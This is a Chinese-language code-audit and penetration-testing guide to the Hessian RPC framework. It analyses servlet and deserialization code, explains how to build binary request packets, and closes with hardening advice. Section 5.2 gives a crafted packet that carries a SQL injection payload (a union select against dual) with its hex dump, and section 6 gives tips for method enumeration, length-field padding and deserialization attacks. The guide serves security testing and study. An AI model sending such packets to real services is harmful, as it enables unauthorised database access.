代码审计系列之Hessian开发框架
字数 1619 2025-08-24 07:48:33
Hessian开发框架代码审计与渗透测试指南
1. Hessian框架简介
Hessian是一个轻量级的remoting onhttp工具,使用简单的方法提供了RMI的功能。相比WebService,Hessian更简单、快捷。它采用二进制RPC协议,特别适合发送二进制数据。
参考链接: http://hessian.caucho.com/doc/hessian-overview.xtp
2. Hessian框架配置分析
2.1 默认web.xml配置
<servlet-mapping>
<servlet-name>HessianSpringInvokeService</servlet-name>
<url-pattern>/*.hessian</url-pattern>
</servlet-mapping>
2.2 核心服务逻辑
HessianSpringInvokeService的核心服务方法分析:
protected void service(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
String var3 = var1.getRequestURI();
int var4 = var3.lastIndexOf("/");
if(var4 > 0) {
var3 = var3.substring(var4 + 1);
}
if(!var1.getMethod().equals("POST")) {
var2.setStatus(500, "Hessian Requires POST");
// 错误处理...
} else {
try {
ServletInputStream var7 = var1.getInputStream();
ServletOutputStream var8 = var2.getOutputStream();
var2.setContentType("application/x-hessian");
int var9 = var7.read();
int var10;
int var11;
Object var12;
Object var13;
if(var9 == 72) { // 'H' - Hessian 2.0
var10 = var7.read();
var11 = var7.read();
if(var10 != 2 || var11 != 0) {
throw new IOException("Version " + var10 + "." + var11 + " is not understood");
}
var12 = this.createHessian2Input(var7);
var13 = new Hessian2Output(var8);
((AbstractHessianInput)var12).readCall();
} else { // 'c' - Hessian 1.0
if(var9 != 99) {
throw new IOException("expected 'H' (Hessian 2.0) or 'c' (Hessian 1.0) in hessian input at " + var9);
}
var10 = var7.read();
var11 = var7.read();
var12 = new HessianInput(var7);
if(var10 >= 2) {
var13 = new Hessian2Output(var8);
} else {
var13 = new HessianOutput(var8);
}
}
SerializerFactory var14 = this.getSerializerFactory();
((AbstractHessianInput)var12).setSerializerFactory(var14);
((AbstractHessianOutput)var13).setSerializerFactory(var14);
this.getSkeletonByServiceId(var3).invoke((AbstractHessianInput)var12, (AbstractHessianOutput)var13);
} catch (Throwable var15) {
throw new ServletException(var15);
}
}
}
3. Hessian协议分析
3.1 协议版本识别
-
H(ASCII 72): Hessian 2.0版本- 后面跟随两个字节表示版本号(2.0)
-
c(ASCII 99): Hessian 1.0版本- 后面跟随两个字节(无实际意义,占位符)
3.2 服务映射机制
getSkeletonByServiceId方法分析:
private HessianSkeleton getSkeletonByServiceId(String var1) {
HessianSkeleton var2 = (HessianSkeleton)this.skeletons.get(var1);
if(var2 != null) {
return var2;
} else {
Object var3 = ApplusContext.getBean(var1);
var2 = new HessianSkeleton(var3, var3.getClass());
this.skeletons.put(var1, var2);
return var2;
}
}
3.3 Spring整合配置示例
applicationContext-all.xml配置示例:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:aop="http://www.springframework.org/schema/aop"
xmlns:tx="http://www.springframework.org/schema/tx"
xsi:schemaLocation="...">
<!-- hessian服务通过spring暴露出去 -->
<bean id="EncryptService.hessian" class="com.ufgov.admin.license.svc.EncryptServiceImpl">
</bean>
</beans>
4. Hessian方法调用机制
4.1 方法调用流程
-
读取方法名:
public String readMethod() throws IOException { int tag = this.read(); if(tag != 109) { // 'm' - 方法标识 throw this.error("expected hessian method ('m') at " + this.codeName(tag)); } else { int d1 = this.read(); int d2 = this.read(); this._isLastChunk = true; this._chunkLength = d1 * 256 + d2; this._sbuf.setLength(0); int ch; while((ch = this.parseChar()) >= 0) { this._sbuf.append((char)ch); } this._method = this._sbuf.toString(); return this._method; } } -
方法映射存储:
protected AbstractSkeleton(Class apiClass) { this._apiClass = apiClass; Method[] methodList = apiClass.getMethods(); for(int i = 0; i < methodList.length; ++i) { Method method = methodList[i]; if(this._methodMap.get(method.getName()) == null) { this._methodMap.put(method.getName(), methodList[i]); } Class[] param = method.getParameterTypes(); String mangledName = method.getName() + "_" + param.length; this._methodMap.put(mangledName, methodList[i]); this._methodMap.put(mangleName(method, false), methodList[i]); } } -
反射调用:
Object var17 = method.invoke(service, values);
4.2 参数读取机制
public Object readObject() throws IOException {
int tag = this.read();
String type;
int type1;
switch(tag) {
case 66: // 'B' - 二进制数据
case 98: // 'b'
// 处理二进制数据...
case 68: // 'D' - Double
return new Double(this.parseDouble());
case 70: // 'F' - false
return Boolean.valueOf(false);
case 73: // 'I' - Integer
return new Integer(this.parseInt());
case 76: // 'L' - Long
return new Long(this.parseLong());
case 77: // 'M' - Map
type = this.readType();
return this._serializerFactory.readMap(this, type);
case 78: // 'N' - null
return null;
case 82: // 'R' - 引用
type1 = this.parseInt();
return this._refs.get(type1);
case 83: // 'S' - 字符串(结束块)
case 115: // 's' - 字符串(非结束块)
this._isLastChunk = tag == 83;
this._chunkLength = (this.read() << 8) + this.read();
this._sbuf.setLength(0);
while((type1 = this.parseChar()) >= 0) {
this._sbuf.append((char)type1);
}
return this._sbuf.toString();
case 84: // 'T' - true
return Boolean.valueOf(true);
case 86: // 'V' - List
type = this.readType();
int url1 = this.readLength();
return this._serializerFactory.readList(this, url1, type);
case 88: // 'X' - XML(结束块)
case 120: // 'x' - XML(非结束块)
this._isLastChunk = tag == 88;
this._chunkLength = (this.read() << 8) + this.read();
return this.parseXML();
case 100: // 'd' - Date
return new Date(this.parseLong());
case 114: // 'r' - 远程引用
type = this.readType();
String url = this.readString();
return this.resolveRemote(type, url);
default:
throw this.error("unknown code for readObject at " + this.codeName(tag));
}
}
5. Hessian数据包构造
5.1 基本结构
-
版本标识:
- Hessian 2.0:
H(72) +\x02+\x00 - Hessian 1.0:
c(99) + 两个占位字节
- Hessian 2.0:
-
方法调用:
- 方法标识:
m(109) - 方法名长度: 两个字节表示(大端序)
- 方法名: 实际方法名
- 方法标识:
-
参数传递:
- 字符串参数:
S(83) + 长度(两个字节) + 字符串内容 - 其他类型参数: 对应类型标识 + 数据
- 字符串参数:
-
结束标识:
z(122)
5.2 示例数据包
假设调用方法getmodelCodeInfo,参数为SQL注入payload:
c12m\x00\x10getmodelCodeInfoS\x0081' union select USER,NULL,NULL,NULL,NULL from dual -- sdz
十六进制表示:
63 31 32 6D 00 10 67 65 74 6D 6F 64 65 6C 43 6F
64 65 49 6E 66 6F 53 00 38 31 27 20 75 6E 69 6F
6E 20 73 65 6C 65 63 74 20 55 53 45 52 2C 4E 55
4C 4C 2C 4E 55 4C 4C 2C 4E 55 4C 4C 20 66 72 6F
6D 20 64 75 61 6C 20 2D 2D 20 73 64 7A
其中:
63 31 32: Hessian 1.0标识 + 版本(无意义)6D: 方法标识'm'00 10: 方法名长度(16字节)67 65 74...49 6E 66 6F: "getmodelCodeInfo"(16字节)53: 字符串参数标识'S'00 38: 参数长度(56字节)31 27...7A: 实际参数内容
6. 渗透测试方法
6.1 测试要点
- 版本识别:通过发送'H'或'c'识别Hessian版本
- 方法枚举:通过修改方法名长度和方法名枚举可用方法
- 参数注入:
- 修改参数长度字段(两个字节)以适应payload长度
- 多余字符可用空格或注释填充
- 适用于字符串、数字、对象等各种参数类型
- 反序列化攻击:针对Hessian的反序列化漏洞(参考marshalsec项目)
6.2 测试技巧
- 构造请求包时,确保修改参数值前面的长度字段大于等于payload长度
- 对于多出的字符,可以使用:
- 空格填充
- SQL注释(--或/* */)
- 任意无害字符
- 针对二进制协议,使用十六进制编辑器或专门工具构造和解析数据包
7. 安全建议
- 使用Hessian最新版本,严格限制序列化和反序列化操作
- 对Hessian服务进行身份验证和授权控制
- 对输入参数进行严格过滤和验证
- 避免暴露敏感方法或服务
- 监控和记录Hessian服务的异常请求
8. 参考资源
- Hessian官方文档: http://hessian.caucho.com/doc/hessian-overview.xtp
- marshalsec项目: https://github.com/mbechler/marshalsec
- Hessian协议规范: http://hessian.caucho.com/doc/hessian-serialization.html